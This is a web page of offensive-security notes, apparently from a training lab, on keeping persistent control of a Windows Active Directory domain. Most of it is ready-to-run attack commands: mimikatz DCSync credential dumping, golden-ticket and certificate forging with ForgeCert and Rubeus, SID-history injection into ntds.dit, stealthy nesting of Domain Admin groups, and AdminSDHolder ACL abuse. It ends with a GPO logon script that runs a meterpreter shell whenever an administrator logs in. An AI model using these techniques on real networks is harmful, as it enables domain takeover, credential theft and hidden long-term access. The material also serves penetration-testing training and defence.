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<div class="column column-3">
<ul>
<li><a href="#active-directory-persistance">Active Directory Persistance</a><ul>
<li><a href="#using-credentials">Using Credentials</a><ul>
<li><a href="#usage">Usage</a></li>
</ul>
</li>
<li><a href="#using-tickets">Using Tickets</a><ul>
<li><a href="#usage_1">Usage</a></li>
</ul>
</li>
<li><a href="#using-certificates">Using Certificates</a></li>
<li><a href="#using-sid-history">Using SID History</a><ul>
<li><a href="#usage_2">Usage</a></li>
</ul>
</li>
<li><a href="#using-group-memberships">Using Group Memberships</a><ul>
<li><a href="#usage_3">Usage</a></li>
</ul>
</li>
<li><a href="#using-acls">Using ACLs</a></li>
<li><a href="#usage_4">Usage</a></li>
<li><a href="#using-gpos">Using GPOs</a><ul>
<li><a href="#usage_5">Usage</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<h1 id="active-directory-persistance">Active Directory Persistance</h1>
<h2 id="using-credentials">Using Credentials</h2>
<ul>
<li><strong>Knowledge Consistency Checker (KCC)</strong> replicates credentials through the forest </li>
<li><strong>DC Synchronisation</strong> is the process of syncing credentials between domain controllers, it can be used to gather credentials<ul>
<li>Credentials for multiple local administrators</li>
<li>Service account with delegation permissions</li>
<li><strong>Service accounts with high AD permissions</strong>, Windows Server Update Services (WSUS), System Center Configuration Manager (SCCM)</li>
</ul>
</li>
</ul>
<h3 id="usage">Usage</h3>
<ul>
<li>Use mimikatz</li>
</ul>
<div class="codehilite"><pre><span></span><code>lsadump::dcsync /domain:&lt;domain&gt; /user:&lt;username&gt;
</code></pre></div>
<ul>
<li>To query the krbtgt user</li>
</ul>
<div class="codehilite"><pre><span></span><code>lsadump::dcsync /domain:&lt;domain&gt; /user:krbtgt.&lt;domain&gt;
</code></pre></div>
<ul>
<li>Query everything</li>
</ul>
<div class="codehilite"><pre><span></span><code>lsadump::dcsync /domain:&lt;domain&gt; /all
</code></pre></div>
<h2 id="using-tickets">Using Tickets</h2>
<ul>
<li>
<p><strong>Golden Ticket</strong> crafted TGT, </p>
<ul>
<li>Needs domain name, domain SID and a user ID to impersonate</li>
<li>Needs krbtgt NTLM to sign the ticket</li>
<li>krbtgt hash never rotates automatically, only refreshed manually</li>
<li>krbtgt hash bypasses smart cards</li>
<li>TGT can not be older than 20 minutes</li>
<li>TGT lifetime can be set to years</li>
<li>TGT can be signed anywhere as long as the krbtgt hash is known</li>
</ul>
</li>
<li>
<p><strong>Silver Ticket</strong> crafted TGS</p>
<ul>
<li>Signed by targeted service account on a host</li>
<li>DC is never contacted, no contact to any TGT or KDC</li>
<li>Non existing user can be used with a local admin group's SID</li>
</ul>
</li>
</ul>
<h3 id="usage_1">Usage</h3>
<ul>
<li>Craft a golden ticket</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADDomain
</code></pre></div>
<div class="codehilite"><pre><span></span><code>kerberos::golden /admin:MyLittleAdministrator /domain:&lt;domain&gt; /id:500 /sid:&lt;Domain SID&gt; /target:&lt;Hostname of server being targeted&gt; /rc4:&lt;NTLM Hash of machine account of target&gt; /service:cifs /ptt
</code></pre></div>
<h2 id="using-certificates">Using Certificates</h2>
<ul>
<li>Private key extraction via mimikatz which makes it exportable</li>
</ul>
<div class="codehilite"><pre><span></span><code>crypto::certificates /systemstore:local_machine
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /export
</code></pre></div>
<ul>
<li>Password of the certificate is <code>mimikatz</code> afterwards</li>
<li>Use <a href="https://github.com/GhostPack/ForgeCert">ForgeCert</a> to create certificate</li>
</ul>
<div class="codehilite"><pre><span></span><code>ForgeCert.exe --CaCertPath &lt;domain&gt;.pfx --CaCertPassword mimikatz --Subject <span class="nv">CN</span><span class="o">=</span>User --SubjectAltName Administrator@&lt;domain&gt; --NewCertPath Administrator.pfx --NewCertPassword SecretPassword
</code></pre></div>
<p>*
* Use Rubeus to request the TGT via</p>
<div class="codehilite"><pre><span></span><code>Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:&lt;path to certificate&gt; /password:&lt;certificate file password&gt; /outfile:&lt;name of file to write TGT to&gt; /domain:&lt;domain&gt; /dc:&lt;IP of domain controller&gt;
</code></pre></div>
<ul>
<li>Load the TGT via mimikatz</li>
</ul>
<div class="codehilite"><pre><span></span><code>privilege::debug
kerberos::ptt administrator.kirbi
dir <span class="se">\\</span>&lt;dc.example.com&gt;<span class="se">\C</span>$<span class="se">\</span>
</code></pre></div>
<h2 id="using-sid-history">Using SID History</h2>
<ul>
<li>Account logs on -&gt; associated SIDs (group SIDs) added to the user's token -&gt; permissions are set in this way</li>
<li>SIDs of controlled accounts may be added to the history</li>
<li>Add Administrator group to the associated SIDs / the token</li>
<li><code>ntds.dit</code> stores all AD info</li>
<li>User does not come up on checking groups, the user stays hidden unless searched for explicitly</li>
</ul>
<h3 id="usage_2">Usage</h3>
<ul>
<li>Check SID history</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADUser &lt;your ad username&gt; -properties sidhistory,memberof
</code></pre></div>
<ul>
<li>Check SID of domain admins</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADGroup <span class="s2">&quot;Domain Admins&quot;</span>
</code></pre></div>
<ul>
<li>Use <a href="https://github.com/MichaelGrafnetter/DSInternals">DSInternals</a> to patch <code>ntds.dit</code></li>
</ul>
<div class="codehilite"><pre><span></span><code>Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName <span class="s1">&#39;username of our low-priveleged AD account&#39;</span> -SidHistory <span class="s1">&#39;SID to add to SID History&#39;</span> -DatabasePath C:<span class="se">\W</span>indows<span class="se">\N</span>TDS<span class="se">\n</span>tds.dit
Start-Service -Name ntds
</code></pre></div>
<ul>
<li>Verify users SIDs</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADUser &lt;username&gt; -Properties sidhistory
dir <span class="se">\\</span>&lt;dc.example.com&gt;<span class="se">\C</span>$<span class="se">\</span>
</code></pre></div>
<h2 id="using-group-memberships">Using Group Memberships</h2>
<ul>
<li>Most are monitored security wise</li>
<li>Interesting group for persistence are <ul>
<li><code>IT Support</code></li>
<li>Local administrational accounts</li>
<li>Groups with ownership over GPO</li>
</ul>
</li>
<li>Nested groups are used to organize an AD<ul>
<li><code>Helpdesk</code>, <code>Network Manager</code> is a nested group of <code>IT Support</code></li>
</ul>
</li>
<li>Joining a nested groups is not as alerting as joining a more general group</li>
</ul>
<h3 id="usage_3">Usage</h3>
<ul>
<li>Create a new subgroup</li>
</ul>
<div class="codehilite"><pre><span></span><code>New-ADGroup -Path <span class="s2">&quot;OU=IT,OU=People,DC=&lt;SUBDC&gt;,DC=&lt;DOMAIN&gt;,DC=COM&quot;</span> -Name <span class="s2">&quot;&lt;username&gt; Steam Network 1&quot;</span> -SamAccountName <span class="s2">&quot;&lt;username&gt;_steam_network1&quot;</span> -DisplayName <span class="s2">&quot;&lt;username&gt; Steam Network 1&quot;</span> -GroupScope Global -GroupCategory Security
</code></pre></div>
<ul>
<li>And nesting another one</li>
</ul>
<div class="codehilite"><pre><span></span><code>New-ADGroup -Path <span class="s2">&quot;OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC&quot;</span> -Name <span class="s2">&quot;&lt;username&gt; Steam Network 2&quot;</span> -SamAccountName <span class="s2">&quot;&lt;username&gt;_steam_network2&quot;</span> -DisplayName <span class="s2">&quot;&lt;username&gt; Steam Network 2&quot;</span> -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity <span class="s2">&quot;&lt;username&gt;_steam_network2&quot;</span> -Members <span class="s2">&quot;&lt;username&gt;_steam_network1&quot;</span>
</code></pre></div>
<ul>
<li>Do it a couple of times again and add the last group to Domain Admins</li>
</ul>
<div class="codehilite"><pre><span></span><code>Add-ADGroupMember -Identity <span class="s2">&quot;Domain Admins&quot;</span> -Members <span class="s2">&quot;&lt;username&gt;_2&quot;</span>
</code></pre></div>
<ul>
<li>Add the low priv user to the first group</li>
</ul>
<div class="codehilite"><pre><span></span><code>Add-ADGroupMember -Identity <span class="s2">&quot;&lt;username&gt;_steam_networks1&quot;</span> -Members <span class="s2">&quot;&lt;low privileged username&gt;&quot;</span>
</code></pre></div>
<ul>
<li>And check</li>
</ul>
<div class="codehilite"><pre><span></span><code>dir <span class="se">\\</span>&lt;domain&gt;<span class="se">\c</span>$<span class="se">\</span>
</code></pre></div>
<ul>
<li>Verify nested group</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADGroupMember -Identity <span class="s2">&quot;Domain Admins&quot;</span>
</code></pre></div>
<h2 id="using-acls">Using ACLs</h2>
<ul>
<li>AD group templates like <code>AdminSDHolder</code> can be used to copy its ACL through the AD's protected groups<ul>
<li>Domain Admins</li>
<li>Administrators </li>
<li>Enterprise/Schema Administrator</li>
</ul>
</li>
<li>SDProp as a process maps the ACLs to protected groups every hour</li>
</ul>
<h2 id="usage_4">Usage</h2>
<ul>
<li><code>runas /netonly /user:Administrator cmd.exe</code> and therein open <code>mmc</code></li>
<li>File -&gt; Add Snap-In -&gt; Active Directory Users and Groups</li>
<li>View -&gt; Advanced Features</li>
<li>AdminSDHolder group in Domain -&gt; System</li>
<li>
<p>Right click the group -&gt; Properties -&gt; Security -&gt; Add user and Check Names -&gt; OK -&gt; Allow on Full Control -&gt; Apply -&gt; OK</p>
</li>
<li>
<p>Add the user to other groups with the new propagated permissions</p>
</li>
</ul>
<h2 id="using-gpos">Using GPOs</h2>
<ul>
<li>Restricted Group Memberships, admin access to every host in the domain</li>
<li>Logon Script Deployment, get a shell when a user logs in</li>
</ul>
<h3 id="usage_5">Usage</h3>
<ul>
<li>Craft a portable executable shell via meterpreter</li>
<li>Craft a batch script</li>
</ul>
<div class="codehilite"><pre><span></span><code>copy <span class="se">\\</span>&lt;domain&gt;<span class="se">\s</span>ysvol<span class="se">\&lt;</span>subdomain&gt;<span class="se">\s</span>cripts<span class="se">\s</span>hell.exe C:<span class="se">\w</span>indows<span class="se">\t</span>mp<span class="se">\_</span>shell.exe <span class="o">&amp;&amp;</span> timeout /t <span class="m">20</span> <span class="o">&amp;&amp;</span> C:<span class="se">\w</span>indows<span class="se">\t</span>mp<span class="se">\s</span>hell.exe
</code></pre></div>
<ul>
<li>Copy both to the sysvol</li>
<li><code>runas /netonly /user:Administrator cmd.exe</code> and therein open <code>mmc</code></li>
<li>File -&gt; Add/Remove Snap-in -&gt; Group Policy Management -&gt; Add -&gt; OK</li>
<li>Right click Admins OU -&gt; Create GPO in the domain -&gt; link it -&gt; name it</li>
<li>Right click created policy -&gt; Enforced</li>
<li>Right click created policy -&gt; edit -&gt; User Configuration / Policies -&gt; Window Settings -&gt; Scripts (logon/logoff)</li>
<li>Right click Logon -&gt; Properties -&gt; Scripts tab -&gt; Add -&gt; Browse</li>
<li>Select the previously created batch script and PE</li>
<li>
<p>Catch the shell when an admin logs on</p>
</li>
<li>
<p>Once again open mmc </p>
</li>
<li>Right click Enterprise Domain Controllers -&gt; Edit settings, delete, modify security</li>
<li>
<p>Click on every other group except Authenticated Users and remove them</p>
</li>
<li>
<p>Add -&gt; <code>Domain Computers</code> -&gt; check names - OK</p>
</li>
<li>Read Permissions -&gt; OK -&gt; Authenticated Users -&gt; Remove</li>
</ul>
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